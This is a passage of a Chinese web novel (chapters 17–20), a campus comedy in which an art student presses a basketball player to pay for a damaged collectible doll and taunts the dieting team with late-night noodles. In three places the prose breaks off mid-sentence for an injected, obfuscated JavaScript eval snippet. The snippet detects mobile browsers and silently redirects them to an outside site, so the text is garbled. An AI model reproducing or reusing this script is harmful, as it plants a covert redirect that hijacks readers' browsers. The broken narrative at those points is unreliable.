不过是个梦而已,再说自己身为北方小伙,洗澡堂又不是没去过,对这种场景可以算是脱敏,只是梦到抠门精这件事冲击比较大,这才需要时间消化。 更好的是,今天来上班没多久,他就收到了娃娘发来的微信,说找到了别人出手的娃。 店里这几天都是满客,但翻台率比较低,饮品这边并不忙,于是曲辞跟戴岳打了个招呼,就去了门口给娃娘回复。 娃娘还是急性子,直接打了语音过来,声音里透着兴奋:“我问了好多朋友,还真找着了个出娃的,因为她准备开箱视频的时候,家里的猫猫过来捣乱,把杯装可乐打翻了,她把娃给救了,可是官箱官垫还有出生证全毁了,很难出给别人,但因为我们互相信任,所以我就痛快把娃收了,她给我打了一点小折扣。” “真的?!那太好了!”曲辞内心复杂地说,“多少钱,我转给你。” 关键证据没有了,不知道抠门精会不会认账,但自己该赔钱还是要赔的。 娃娘说:“你不用给这么多,毕竟这次你也是无妄之灾。” “不不不,也是我看护不当的责任,钱我会付的。虽然之前的衣服和身体都没坏,但这次娃寄过来,我从头到脚都给你重新做,制作费再打个八八折,你觉得怎么样?”曲辞诚恳地说。 娃娘不太计较钱,但很在意制作成果,相信“重新做”这个选项一定会令她满意。 果然对方没有迟疑,立刻道:“好,那就这样吧,回头我把我收娃的价格截图发你,等你做完我收到全套再跟你算制作费,一笔归一笔,免得搞迷糊了。” “就这么愉快地决定了!”曲辞笑道。 挂断电话,他心事重重地在门外的长椅上坐了会儿,又给娃娘发了一条信息,让她这次寄娃过来的时候,把她之前的官箱官垫以及娃的出生证还有票据一起寄过来。 既然新娃没有这些,只能拿旧的过来,看看那个抠门精买不买账了。 他琢磨了片刻,问室友要来了方谒的微信号。 微信名是个装装的【。】,头像是穿着6号球衣的背影。 本来以为对方不会痛快加上自己,没想到好友请求刚发过去没两分钟就被通过了。 页面上显示着自己那句气势汹汹的话:【我,曲辞,加上。】 下边是【。通过了你的朋友验证请求,以上是打招呼的消息】 曲辞:“……” 加得这么爽快,显得抠门精不像是逃避还钱义务,反倒是自己过于霸气侧漏。 他一时没想好要说什么,踌躇片刻决定打心理战,先晾着对方。 这心理战并没打到方谒心里,他跟小狗玩得心情很好,也猜测这个举动是为了那笔赔偿款,只要这小漂亮不再上门说些奇奇怪怪的话,加微信没什么问题。 然后他就把这件事给忘了,陪爷爷喝茶、聊近况,接着吃午饭。 爷爷本就吃得清淡,也知道他要减脂,所以家里阿姨只炖了鱼、白灼了虾,做了黑椒牛排粒,虽然都做得简单,没怎么放油,但已经比在学校里吃得好多了。 方谒大大解了馋,又和爷爷一起去附近的大棚散步,看他种的蔬菜,等回来他去睡午觉的时候才告辞,骑上摩托返回市区。 把车放回寄存处,再打车回到学校,一下午的时间已经过去。 他才掏出手机,看看那小漂亮发没发信息过来。 目前被他把对方备注改成了【奶牛猫】的对话页面下,除了系统显示的打招呼外空无一字。 感觉不知道在憋什么坏。 方谒突然觉得,等着看这只奶牛猫又发什么疯,好像也挺有趣。 曲辞结束了一天的打工,晚上九点多回了寝,三天无室友的状态就要结束,让他有些毛毛的不爽,果断先洗了澡爬上床,床帘一拉谁都不爱。 抱着平板画了一会儿Q版人物小画,就见平板上方浮现了新的微信消息。 【老抽狗】:搜集到足够的证据了? 曲辞愣了几秒钟,才反应过来这是方谒,“老抽狗”是自己给他加的备注,梗自然是来自那句“老抽色的金毛心眼多”。 其实他心里并不认同方谒是金毛,平心而论此人更像杜宾或者德牧那样的凶犬,备注成老抽狗纯为调侃。 【奶牛猫】:是有好消息要通知你。 【老抽狗】:你在寝室? 【奶牛猫】:干什么? 【老抽狗】:懒得打字,面聊。 曲辞哼了一声——你说面聊就面聊? 【奶牛猫】:我上床了。 【老抽狗】:被绑上边了? 曲辞:“……” 没人说过这个凶神恶煞的家伙还是个毒舌呢! 【老抽狗】:行,你不用下,我去找你。 【奶牛猫】:不用!门口见吧。 对方过来站在自己床头说话,实在太怪了,万一被不知道什么时候回来的室友看见,好像更奇怪。 还是快点在门口说完拉倒。 曲辞从上铺下去,把手机揣在自己胸口的兜里,踩上拖鞋,为了显得酷,还把睡衣兜帽拉起来戴着,沉着一张脸出了门。 方谒就是想做个实验,看看现在自己的室友都回来了,这奶牛猫还敢不敢乱放厥词,所以要面聊。 然而305门一开,他看见了个……这是什么? 奶牛猫穿了一件珊瑚绒的连体睡衣,胸腹处是浅色,灯光昏暗看不出是白还是浅黄,其他位置都是枣红色,大大的兜帽罩住一张小小的巴掌脸,只露出一个白皙的尖下巴。 帽子正面绣着眼睛和小耳朵,后边伸出好几根尖刺一样的三角形长布条,一直延伸到后背,支棱着看起来有点像哥斯拉。 但没有尾巴,应该不是。 方谒问:“你是豪猪吗?” 瘦瘦的人被裹在宽大的衣服里,有一点好玩。 曲辞鼻子差点气歪了。 这是他自己亲手做的刺猬睡衣,睡前在寝室穿的,“尖刺”只是起了个象征意义,不想在后背订满布条看起来太乱,但,哪里像豪猪了?!!! 不过他不打算表现出生气的样子,两军对垒,谁先生气,谁就败了。 他微微仰起下巴,挑起眼睛,从宽大的兜帽帽檐向外看过去,看着对面穿着白背心和黑色篮球短裤的方谒,冷淡地说:“还想听好消息吗?” “你说。”方谒一如既往没什么表情。 曲辞清了清嗓子:“我客户收到同款娃了,比她买的时候便宜,我也打算给她重新做娃衣,但鉴于之前买的原材料还够,不用另买,所以我只是多费一次人工,再给她打八八折。这一点她同意了,意思就是我的手工费还是会到账,只是会少一些,这个费用包括差价我就不跟你要了,你只要给我她收这款娃的价格就行。” 说罢掏出手机,调出娃娘发来的截图,调转屏幕给方谒看:“娃比 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16345576|183510||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 全新便宜一千,现在只要五千块,算你走运!” 方谒瞟了一眼截图:“微信?” “嗯,她们是朋友,聊天记录也有,如果需要我可以发给你。”曲辞说。 “不必,我只要上次说的那些,官箱官垫出生证,还有头顶钢印,证据链需要完整。”方谒说。 他并不在意能一下子省掉五千块,只觉得之前这奶牛猫张口管自己要一万果然是狮子大开口。 突然降价,肯定有鬼。 曲辞犹豫了片刻,咬了咬牙,底气不是很足地说:“出娃的那个朋友,官箱官垫和出生证都被毁了,她有点嫌弃,所以才想便宜出了。” 正说着话,走廊逐渐变得嘈杂起来。 他们这边几间宿舍住的都是经管学院的体育特长生,明天大家都要恢复早训,现在陆续有人回来,这片儿就显得比别处热闹许多。 有人背着包,上了楼在走廊里就开始嚎歌,加上回音效果,声音大得很是扰民。 一些寝室的人隔着门就开始骂:“有病啊,这么喜欢唱不去开演唱会!” “傻逼,老子唱给你听你别不识抬举!” 这些人就是这样来回对骂,过过嘴瘾,谁也不会真正动手。 但这阵噪音成功干扰了方谒的听力,他一时之间没听清曲辞说的话。 “什么?再说一遍。” 但这话配上他那副凶神恶煞的表情,落在曲辞耳朵里就成了“你再说一遍试试看”。 曲辞心一横,一把撸下帽子,大声道:“你别装啊,明明就听见了!要不是官箱这些东西被毁了,那个朋友根本不舍得出!现在只有娃的头顶钢印可以作证,而且我也让客户把她原来的那套证据寄过来了,至少能证明她的娃是没问题的!” “现在只让你还五千你还有什么不满足的,你知道我为了做娃衣付出了多少劳动吗?现在重做一套不说,费了两套的时间和力气,只能收一套的钱,还得打八八折!我的劳动力不值钱吗?!我很亏你知道吗?!” “而且我现在开始打工了,不像之前那么多时间做,晚上室友们睡觉了也不能用缝纫机,只能抽时间赶工!娃头就是你踩的,你到底在抵赖什么啊?你觉得倒霉委屈我能理解,我也委屈啊,都不跟你要手工费了,跟你共担责任还不行吗?!” 他想想埃洛伊丝诞生的心路历程,想想那冒着瞎眼危险往娃衣上粘水钻的几个夜晚,想想娃妆娃衣全部完成时的兴奋,再想想对着娃娘要心怀歉疚还要追在自己讨厌的人后边追债的点点滴滴,这番话真是越说越委屈,眼眶酸得厉害。 方谒垂眸,不错眼珠地盯着他,看他那双漂亮的大眼睛蕴藏着许多复杂的情绪,有伤心有愤怒有委屈,从黑白分明渐渐变得泛红,还有些亮晶晶的,像是要哭。 这时走廊里经过几个人,其中一个夺了另一个人的东西,一直被人追着跑,跑到方谒身后的时候两人扭打笑闹到了一起,跌跌撞撞地往他身上撞去。 方谒猝不及防地被撞了一下,整个身体被推向了靠墙站着的曲辞。 电光石火之间,曲辞无处可躲,瞪大眼睛呆愣愣地看着面前那张长得很凶又确实英俊的脸陡然靠近,男人身上的气息和热度也扑面而来。 他下意识地双眼紧闭,把头扭向一边—— 想象中的撞击并没有发生,曲辞眼睛微微睁开一条缝,发现一只强壮的手臂撑在了自己眼前的墙壁上。 肌肉明显绷紧,淡青色的血管微凸,是很性感的样子。 18. Chapter 18 方谒当然不会让自己真的撞在曲辞身上,以他的身手敏捷程度,一个壁咚轻松拿捏。 但离得如此之近,他不仅嗅到了曲辞身上散发的淡淡的微凉的香气,还看到对方因为双眼瞬间紧闭而流下的两行眼泪。 泪水在昏暗的灯光下显得很亮。 看起来密而柔软的长发散落在肩膀上,有几缕蜷在了锁骨窝里,跟毛茸茸的睡衣搭配,整个人看起来很柔软,清秀白皙的脸颊再搭上这两行眼泪,小漂亮看起来简直楚楚可怜。 有一刹那,方谒已经动摇,心想不过五千块,干脆给他就是了,没必要搞得跟自己欺负人似的。 “闹什么闹?有病就去治,报警了啊!”应寒的声音从不远处传来。 方谒的两只手还撑在墙壁上,把曲辞牢牢“锁”在自己怀里,这会儿下意识地转头看过去,跟基友看了个脸对脸。 应寒看着他俩的姿势,突然一脸懵逼,脸上写着大大的“卧槽”。 方谒立刻松开了撑在墙上的手,向后退了一步,回头看了眼撞他的两个人。 那俩是隔壁练长跑的,跟他没什么交情,但也都知道方谒此人不惹为妙,这会儿发挥了专业优势,麻溜地脚底抹油跑了。 应寒走过去,看看方才壁咚的两个人,自家基友现在表情复杂,而靠在墙上这位,居然哭了?! 啧,明明是个男生,怎么能看起来这么……像画一样好看? “聊得怎么样?”他率先打破了沉默。 其实这个“壁咚”不过几秒钟,但曲辞脑海里已经走过了多种情绪。 委屈、惊吓、后悔。 此刻就是很后悔,怎么就没能控制住呢?! 两军对垒,示弱是大忌!怎么能让面前这只老抽狗看到自己掉眼泪! 他飞快把自己脸上的泪水抹去,抬头看着方谒,非常冷漠地说:“现在情况就是这样,新收的娃没有你要的证据,所以才会打折,被你踩坏的那个有证据,稍后会寄过来。” 方谒还没来得及说话,应寒就很仗义地替基友发言:“没证据那怎么行?难道随你漫天要价?被弄坏的那个有证据,也得寄过来再看。” “你们怎么这么不讲理?这不是故意要为难人吗?”曲辞咬紧牙关,愤怒地瞪着他。 应寒搭着方谒的肩膀,也振振有词地说:“小同学,做人要厚道,你站在你的立场上觉得我们在为难你,那你换位思考一下,要是你突然被人指责弄坏了一款很名贵的篮球鞋,开口就跟你要一万,你是不是也得大胆怀疑小心求证?” 曲辞刚要张口反驳,就被他又堵了回去:“再说这次责任也不全在我们,是你自己没看好,导致那娃头从箱子里掉出来,这么不巧滚到谒哥脚底下。他还郁闷呢,白白就得赔人钱,要求证据链完整有错吗?大家素不相识,你还拿不出证据,我们怎么知道你是不是在碰瓷?” 方谒没有吭声,一直默默观察曲辞的表情,见他确实委屈得厉害,嘴巴都无意识地瘪了起来,便推了应寒一把:“少说两句。”接着对曲辞道,“好了,今天就这样吧,我考虑一下。” 回到寝室关上门,应寒直接问他:“你不是心软了吧?刚才我看你那表情,就差拿手机转账了。” “我怎么可能心软,只是觉得掰扯这事儿太浪费时间。”方谒往自己电脑椅上一坐,往后压弯了椅背靠着,一脸若有所思。 应寒直乐:“省钱你还不乐意?能浪费多少时间?你是这么没耐心的人吗?” 方谒继续思考,没吭声。 “刚才你壁咚他干嘛?”应寒继续追问,“差点把我吓尿,起初我还以为哪个小姑娘进男寝了,接着才反应过来那是曲辞,然后又吓一跳。他性向那么成问题,你居然挨他那么近,不怕他尝了甜头更缠着你?” 说起被“缠着”,方谒想到了前天那突如其来的“哥哥”戏码,想起了那小漂亮抽风一般的脑回路,不自知地勾了勾唇角。 虽然有些无语,但回想起来有点搞笑。 这下应寒简直惊悚:“这三天发生了什么?为什么我回来以后你整个大变活人?!你为什么笑?!在想着谁笑?!” “吵死了!”方谒踢了他一脚,“你觉得这钱我不该还?” 应寒笃定地说:“当然不能现在还!你可别被他那个楚楚可怜的劲儿给骗了,这种小孩儿很会装。” “哪种小孩儿?”方谒抱着双臂,左腿架在右腿上,面色冷淡地看着他。 “就是社交广泛、整天忙忙叨叨闲不下来的那种e人!”应寒表情很认真,“他那种二次元圈子整天都在亲亲抱抱举高高,跟我们练体育的莽夫比起来,社交技巧高出好几个段位,不要被他的表象骗了。” 方谒垂眸,“嗯”了一声。 晚上十一点钟,第二天还要早起去打工的曲辞躺在自己的床帐里,听着室友们响起的鼾声,内心的情绪久久不能平复。 今天听娃娘说“证据不全”的时候,他心里就咯噔了一下,担心方谒会不赔。虽然在他看来,把坏了的那个娃的相关证据寄来,就没有不赔钱的理由,但如果硬要扯皮,其实也还是有的扯。 比如新娃的价格便宜,人家想按新娃来赔,但你新娃证据不全,所以赔偿金额还能往下压。 人都想尽可能为自己争取最大利益,被损害的一方想要最全额的赔付,赔付方当然希望赔得越少越好,所谓讲理不讲理都在其次,最重要的还是银子。 他跟方谒现在就是在天平的两边,完全是此消彼长的关系。 为了占据优势,他必须不能后退,必须迎难而上! 现在欠钱的都是大爷,讨债必不是一条简单的路,只有自己表现得越难缠,对方为了早些摆脱,才会干脆地掏钱了事。 所以,还是得缠他! “追求计划”重新启动! 超雄老抽狗,火爆小辞必不可能轻易放过你,等着吧! 坚定了目标,曲辞完全不再内耗,这次他不再怕被别的体育生误会,别人爱怎么看就怎么看,这一仗我必须要赢! 方谒还钱之日,自己顺便就能洗清头上的男同标签,一石二鸟,毫不费力! “艹,饿死了啊!!!!!”晚训结束,石恒很长一条人瘫在床上哀嚎,“不训练还好说,一训一整天,还只能吃草,老子前胸后背都要贴一起去了!” 尹旭洗完澡从洗手间出来,听着他抱怨,抬手在他大腿上抽了一巴掌:“嚎什么嚎,嚎得我都饿了,你他妈给我忍着!” “你们不能吃东西吗?”曲辞刚从咖啡馆回来,好奇地问。 尹旭套上干净T恤:“老牛抽风,非要我们降低体脂率,要大家每天在群里接龙汇报自己进嘴的东西,过阵子再查一次。” “你们体脂率已经很低了,全都得再降?”曲辞惊讶地扫了一眼他的手臂。 尹旭郁闷地上了床,躺着哀叹:“整个校男篮无人生还。”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16345577|183510||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “也包括方谒?”曲辞又问。 另一边石恒接话:“都说了无人生还,必须有他啊!这哥这么能卷,没想到体脂率还不达标。” “只是没达老牛的标,方谒现在的各项身体数据已经很牛逼了。”尹旭纠正道。 石恒嗤笑:“呵,咱们都归老牛管,只要他不认,就是没达标。” 减脂是吧?曲辞微微一笑,计上心来。 不知道是不是为了防止他们偷吃东西,校男篮的十一小集训安排得很满,早训完一整个上午是基础训练,下午是战术训练,晚训练体能和力量,一天下来每一个精壮的热血男大都被掏空了身体,训练结束后恨不能爬回寝室。 以往嘈杂的楼道罕见地安静了不少,所有人都在瘫着,没有力气发出任何超过50分贝的声音。 自律是方谒从不曾觉得困难的事,但练到现在这个份上,连他都开始觉得难捱,连洗澡都很艰难,甚至不敢用太热的水洗,以免带走身体更多的能量。 洗完他就躺在了电脑椅上,得缓一会儿才能有力气爬上床。 他满脑子想的都是睡觉,只要睡着了,就能把饥饿远远甩在后边。 “啊……”应寒先洗完澡,已经爬上了床,懒洋洋地趴在上边,一条胳膊和一条长腿垂在床边,喃喃地说,“我死了,我要死了……老方,我现在感觉很方,因为我觉得自己变成2D的了。” 方谒仰头闭目养神,没搭理他。 应寒趴在床上念叨:“我真想点外卖啊……能吃个白水煮鸡蛋也是好的。不,既然要吃,那不如点几串牛肉串,低脂高蛋白,也算是健康美食对吧?再来两串大蚕蛹、鸡脆骨、烤大虾也行,刷上一层酱料,卷薄饼吃,啊薄饼……比薄饼更好吃的是刚烤好的五香火烧,外皮酥脆,面饼柔软,里面涂了油抹了五香粉,一咬满口生香……” “你他妈给我把嘴闭上!”方谒忍无可忍,走过去拽起他的枕头抽他。 应寒躲多没躲:“打吧,打死我吧,那样我就不用再遭罪了。” 话音刚落,寝室门被敲响了。 “咦?”应寒耸着鼻子吸了吸空气,“为什么我闻到了美食的气息,难道我饿出幻觉了?” 方谒懒得动,但看这位肯定是下不来,另外一个也上了床,还有一个在洗澡,只有他能去开门。 走到门口,他满心暴躁地问了句“谁”,但没多想,直接开了门。 一股板面的香气悠然地飘到了他的鼻端。 方谒被香得眼前一花,有两秒钟没能看清面前的人,只看见被人托着的那碗面,在走廊昏暗的灯光下熠熠生辉。 油辣子、面香、牛腩的肉香还有卤蛋结合在一起的香气不仅从他的鼻子里钻了进去,更通过皮肤的每一个毛孔渗进了他的身体,令他全身上下所有细胞都在一起疯狂叫嚣—— 我!要!吃!面! 寝室里应寒已经像个产生了戒断反应的瘾.君.子那样喊了出来:“好香!啊!好香!快给我吃一口!是什么?!是神仙降临了吗?还是有田螺姑娘?不,田螺姑娘进不了男生寝室,那一定是神仙了!” “哥哥!” 眼前的“神仙”发出了熟悉的喊声,把方谒的注意力艰难从面前这碗板面上拉了回来,他微微抬眸,看见曲辞向他露出甜甜的笑容。 “吃面吗哥哥?”曲辞双手捧着外卖盒往前一递,非常真诚地说,“我这里有一碗,住在哥哥的心里面!” 19. Chapter 19 有那么一瞬间,方谒觉得,自己可能得了脑血栓。 突然头巨疼,视力模糊,嗅觉被板面的香气全方位占领,但意志力还在跟身体本能的食欲做艰难的斗争。 曲辞看着面前向来有定力的人突然间目光迷离,喉结上下滚动,内心得到了极大的满足! 有什么能比饥饿的时候面前摆着的一碗面更让人难以抗拒?! 没有! 为了追求秒杀效果,他还斥巨资多加了一份牛肉,让这碗面看起来更加丰盛,更让人无法克服它的诱惑。 不知道方谒怎么样,反正如果饿得眼睛发绿的人是他,他是完全抵抗不了的。 必须把这碗面吃干抹净、喝得连汤都不剩才行! 看看像被施了定身术的方谒,曲辞非常“体贴”地拽着他的衣服,把他从门里拉出来,轻手轻脚地把门带上。 方谒的脑子想抗拒,但身体很诚实地跟着他挪了挪。 “这碗面是我特意给哥哥买的,连味道都不想被别人闻见,只属于哥哥。”曲辞甜腻腻地说。 他一手托着外卖盒,一手拿着已经掰开的一次性筷子挑起一缕面,微微抬高递到方谒唇边:“哥哥是不是很累?我可以喂你吃。” 被这板面和牛肉的香气冲得头昏脑涨、胃里开始剧烈收缩的方谒经过一番天人交战,理智艰难略占上风。 他一把握住曲辞拿着筷子的手腕,咬牙切齿地问:“你是不是想找揍?!” 曲辞看着他握着自己手腕的大爪子,心里得意。 诶哟,气得都不恐同了吗? 还是因为隔着袖子,没有直接接触皮肤? “哥哥,你不用吓我,我不怕的。”曲辞微微歪头看他,语气温柔俏皮,“我知道,戒碳水的男孩脾气都不会太好,只要你把这碗面吃了,情绪就能平复。” 方谒很想把这奶牛猫推开,再把这碗罪恶之源打翻在地,但出于一些洁癖,他无法想象板面泼别人一身的场景,于是只是克制地说:“把它拿走,以后再敢这么干,我就对你不客气了!” “这是我特意买给你的,怎么可能拿走?”曲辞一脸无辜地看着他,“哥哥,这可是人家的一片心意,你忍心辜负吗?” “消停了几天,又开始了是吧?”方谒被板面香气撩得非常痛苦,松开了他的手,非常果断地后退了两步,想要回寝室里去。 曲辞早就预判到了他的行动轨迹,抢先一步挡在了门口,撒娇道:“哥哥~~你就吃一口,吃一小口,好不好嘛~~~” 波浪线用得那叫一个浑然天成,毫无修饰痕迹。 方谒现在觉得自己脑袋上的血管正在剧烈收缩,搞不好下一秒就爆了。 想打人的拳头蠢蠢欲动,但看着面前男生那张巴掌大的脸、自己单手就能掐住的脖子,又开始克制。 不能打,不能打,他进医院,我被禁赛,划不来。 他目光沉沉地说:“曲辞,你别得寸进尺,你以为我——” 话还没说完,一块香喷喷的牛肉就被塞进了嘴里。 方谒:“……” 方谒:“!!!” “好吃吗?喜不喜欢?”曲辞非常无邪地看着他,眨了眨小鹿一样的眼睛,“我特别爱吃这一家,一周总得去吃几次,这家老板跟我都熟了,料放得很足。我不知道你喜不喜欢吃辣,只放了一点点辣椒,但这个辣椒油很香,是他家自己用牛油炒的,保证干净又卫生!” 怎么说呢?对于一个七天没吃过什么正经东西、此刻饥肠辘辘的人而言,这块牛肉简直就是珍馐! 方谒觉得自己应该能阻止曲辞的动作,可偏偏没拦住,或许潜意识里自己就没想拦。 那块牛肉被他叼在齿间,舌头已经率先尝到了味道,咸鲜、微辣,重盐重油,非常诱人。 应该立刻吐出去。 曲辞凑近他,轻启饱满红润的嘴唇,恶魔低语:“吃吧哥哥,只是牛肉,不会长胖的,你每天运动量这么大,明早一跑步就什么都消耗掉了。” 吃完牛肉,就会更想吃面,堕落并不是从十几层楼一跃而下,而是顺着斜坡逐步滑落!  e on,北鼻! 堕入黑暗的深渊吧! 方谒的喉结再度难耐地晃了晃。 就连曲辞都不得不承认,在走廊昏暗的灯光下,这张阴沉着的俊脸配上这个动作,实在性感。 如果微微出点汗,脖颈上汗涔涔的,带点反光,那更绝! 呐,这就是美术生的审美!纯专业意见! 就在曲辞目光发直、脑子开小差的时候,他肩膀突然被握住,身体直接平移了半米,人被按在了308寝大门旁边的墙上。 方谒眼睛似乎有点发红,一双宽阔的大手牢牢钳住他的肩头,微微垂眸看着他:“你那娃钱,还想要吗?” “当然想要啊!”曲辞挑着眼向上看,让自己的眼睛显得很大很无辜,“今天我还收到客户寄来的证据了呢,哥哥你想不想看?” 方谒目光暗沉:“想要钱,还敢这么对我?不怕我不给你?” “哥哥会不给我吗?”曲辞可怜兮兮地问。 方谒低头,威压全开,威胁道:“如果你再玩这些鬼把戏,我一定不会给你。” “那如果我现在就走,再不来找你,哥哥你会立刻把钱给我吗?”曲辞背靠着墙壁,站在他的阴影里,认真地问。 这一瞬,方谒真的很想把钱给他。 但突然又有点犹豫,还是最开始的顾虑——明知这是对方的手段,就这么干脆给了他,岂不是遂了他的意? 如果给了钱,他还要纠缠,自己岂不是没了筹码? 短暂迟疑了几秒钟,寝室门突然开了,跑出来一个丧心病狂的应寒。 “板面!果然是板面!我就知道我没闻错!”他毫不迟疑地从曲辞手里抢过外卖盒,甚至不忘夺过筷子,完全没多看方谒和曲辞此刻奇怪的姿势一眼,转身就回了房间。 曲辞做戏做全套,轻声尖叫:“那是我给方谒哥哥买的面!” “你给我闭嘴!”方谒抬手捂上了他的嘴,宽阔手掌完全挡住了他的下半张脸。 这个接触,就有点太近了。 方谒现在要操心的事比较多,没有顾上这一点,始作俑者、直男曲辞这会儿倒是有点脑子短路,本就敏锐的感官比平时更敏锐了几分—— 篮球特长生的掌心温热,比他嘴唇的温度略高,他能清晰地感受到两者之间的温差; 对方手指修长,指腹好像有些茧子,压在脸上的时候,粗粝感十分明显; 手上有明显的香皂气息,是清爽的柠檬香。 被捂住嘴,呼吸困难,心跳有些快,后背还觉得微微发热。 方谒捂着他的嘴,低下头凑近他的脸,以一种更加明显的方式威胁道:“曲辞,最好收起你那点小心思,别把我惹急了,下次这样,我不会轻饶你!” 说罢松开手,大步推门进了寝室。 寝室里已经乱做一团,因为跟方谒打架的关系,那个田志奇本来跟应寒也不怎么说话,但此刻两人已经明显放下了成见,因为一碗面成了“好朋友”,再加上另一个室友章平,三人正围在应寒的桌边,分吃同一碗牛肉板面。 应寒看田志奇多夹了一块牛肉,抬筷子就抢了过来:“说好一人两块肉,你少钻空子!” 另一个室友则借机吸溜了一大口面条。 方谒:“……” “你们就不能控制一下自己吗?!”他痛心疾首地问。 应寒嘴里塞的都是面条和牛肉,含混地说:“不控制,精神太痛苦了皮质醇会升高,并不利于减脂,就这么几口碳水,明天早训多跑几圈就下去了。” “艹,这面真好吃,在哪儿买的?”田志奇狼吞 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16345578|183510||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 虎咽地说,“回头对付完老牛,我天天去这家吃板面!” 章平刚夹起来的一截面条掉在了桌子上,怕被人抢走,他立刻用手抓起来往嘴里塞:“何止去这家,我要把他的店买下来!” “老方,你不地道!你居然开小灶!”应寒义愤填膺地指责。 方谒无语:“你没看清送板面来的是谁吗?” “是谁?”应寒从章平手里抢了一筷子面。 “曲辞。” 应寒把面条塞进嘴里,才露出惊恐的表情:“卧槽,他不会下毒吧?”转念一想,继续嚼嚼嚼,“不管了,今朝有酒今朝醉,反正死了也就不用减脂了!” 方谒走到自己桌边摸过手机:“我替你们给老牛报备。” “不用这么严吧?”田志奇抱怨道。 方谒没搭理他。 【校男篮群】 【方谒】:晚间十点,应寒、田志奇、章平各三分之一碗板面,含牛肉、面条和鸡蛋。 【方谒】:时间同上,方谒,牛肉一块。 想了想,把“一块”,改成了一粒。 发完报备,他才把含在嘴里已经嗦得没味道的牛肉嚼了两口咽下去。 内心陌生地品尝到了一丝悲愤和屈辱。 奶牛猫,想玩是吧?我陪你玩! “哈哈哈哈哈!”石恒躺在床上,发出了今晚第一声爆笑,“308沦陷了,四个人大晚上吃了一碗板面!方谒不是定力最强吗?怎么还吃了一粒牛肉?!” 尹旭和毛彦明也赶紧打开群聊,看到老牛在里边艾特了他们四个点名批评,四个人又在底下队形一致地回复【对不起教练,下不为例】。 “怎么这么实在呢,偷摸吃不就行了,还主动上报。”毛彦明抱着枕头趴着说。 尹旭侧躺着乐道:“有方谒在,很难不老实。但我还是挺佩服他的,一碗板面啊,现在我想起来都流口水,他居然能忍住只吃一块牛肉。” 始作俑者曲辞同学趴在床架上默默忍笑。 比起让老抽狗向食欲低头,看他咬牙强忍更爽啊有没有! 毕竟忍耐比屈服更遭罪。 而我曲辞,就是要方谒遭罪,要他在煎熬中化为灰烬! “靠,真不行,我太饿了,饿得想死。”毛彦明喃喃地念叨,“他们寝谁点的板面啊,还发到群里,害得我现在肚子咕噜咕噜直叫,根本睡不着!” 唯一还站在地上的曲辞仰头问他们:“你们是不是也饿得难受?我这儿有魔芋凉面,要是实在受不了,我给你们调一份低脂饱腹的宵夜。” 这是他特意准备的,也怕自己的损招会影响到室友,要是他们扛不住,可以做一些补偿。 尹旭第一个响应:“小辞,救命!” “辞辞辞,老子的爱,请收好!”平头大汉毛彦明学着网上的表情包,跟他比了个心。 石恒从床上投来渴望的目光:“有我的吗?” 曲辞抱起双臂看他:“叫爸爸。” “爸爸!” “爸爸!” “爸爸!” 片刻之后,躺在床上饿得睡不着的方谒打开微信,看到群里多了新内容,305寝的几个人秀出了各自的夜宵。 三张图片里是三个不同的碗盛着一模一样的食物,豆芽、黄瓜丝、木耳丝加红甜椒丝整齐地码放在魔芋凉面上边,旁边放了一小碗料汁。 照片显然是认真拍摄并且加过滤镜的,红绿白黑的配色显得非常有食欲。 【尹旭】:报告牛指导@牛气冲天,低卡魔芋凉面,配上室友小辞爱心0糖0脂调料,整份不超过100大卡,收获一个减脂不减心情的美妙夜晚! 【牛气冲天】:不错,实在饿得难受可以自己动脑子想方法解决,办法总比困难多,再接再厉! 方谒:“……” 这文案,是不是太刻意了? 20. Chapter 20 让室友在校男篮队的群里提到自己的名字,自然是曲辞授意的。 不这样,怎么能让方谒看到呢?不让他看到,又怎么能把他气死? 曲辞做了一个超级美好的梦。 这次没有梦到全果方谒和方喔喔,只梦见自己一直在嘚瑟地跳舞,跟着节奏疯狂跺脚,好像在跺小人,很像网上那个动图。 难怪复仇文都是爽文啊!实在太爽了! “你可真行!” 昨晚的板面只影响到了308寝,但曲辞拌的魔芋凉面却震撼了整个校男篮队,其他二十多个挨着饿的精壮男大瞬间破碎,各自在自己的朋友圈激烈地表达意见。 一传十十传百,消息很快传到了阮林那边,令他为之震撼。 俩人约着一起在食堂吃早饭的时候,他感叹道:“高一军训的时候你以一敌五一战成名,这次仅凭魔芋凉面就一克二十八,兵不血刃,我可太佩服了。” 曲辞想起来还会笑得合不拢嘴:“这就叫直击痛点!” “娃娘寄来的证据都到了,要不你再找方谒交涉一下?”阮林看着他,“早点把这事儿解决算了。” 曲辞豪气干云地把剩下的豆腐脑喝完,大手一挥:“不,现在我觉得,这些证据没什么用,那厮就是不想给钱。” “何以见得?” 